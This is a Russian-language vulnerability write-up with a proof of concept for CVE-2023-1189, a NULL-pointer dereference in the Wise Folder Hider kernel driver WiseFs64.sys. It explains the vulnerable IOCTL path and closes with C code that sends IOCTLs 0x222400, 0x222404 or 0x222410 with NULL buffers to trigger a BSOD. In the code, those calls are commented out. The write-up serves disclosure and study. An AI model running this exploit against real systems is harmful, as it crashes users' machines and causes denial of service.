
CVE-2023-1189 PoC и эксплойт
| Пункт | Подробная информация |
|---|---|
| CVE ID | CVE-2023-1189 |
| Тип уязвимости | Improper Resource Shutdown or Release (CWE-404) |
| Подверженное ПО | WiseCleaner Wise Folder Hider |
| Уязвимый компонент | WiseFs64.sys (Kernel Driver) |
| Затронутая версия | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| Дата публикации | 2023.03.06 |
Эта уязвимость представляет собой локальную DoS-уязвимость, которая позволяет злоумышленнику с правами пользователя, используя определенный IOCTL, вызвать разыменование NULL-указателя (NULL Pointer Dereference) в ядре, приводящее систему в состояние BSOD.
Уязвимость CVE-2023-1189 возникает в драйвере ядра WiseFs64.sys, создаваемом установщиком программы Wise Folder Hider версии 4.4.3.202.
Общий поток эксплуатации уязвимости выглядит следующим образом.

Рассмотрим этот поток подробнее.

Сначала в функции DriverEntry устанавливается функция dispatchDeviceControl в 14-й индекс таблицы диспетчеризации (Dispatch Table).
Благодаря этому все IOCTL, поступающие через \\.\WiseFs, передаются в dispatchDeviceControl.

При входе в функцию dispatchDeviceControl сначала проверяется, является ли устройство устройством управления (control device), и если да, то выполнение переходит в функцию handleControlDeviceIoctl.

Функция handleControlDeviceIoctl содержит логику обработки фактических кодов IOCTL.
Среди нескольких кодов IOCTL, в кодах 0x222400, 0x222404 и 0x222410 отсутствует проверка того, является ли значение буфера NULL.
Следовательно, если вызвать вышеуказанный IOCTL с буфером NULL, драйвер при обращении к буферу вызовет разыменование NULL-указателя (NULL Pointer Dereference), что приведет к BSOD.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}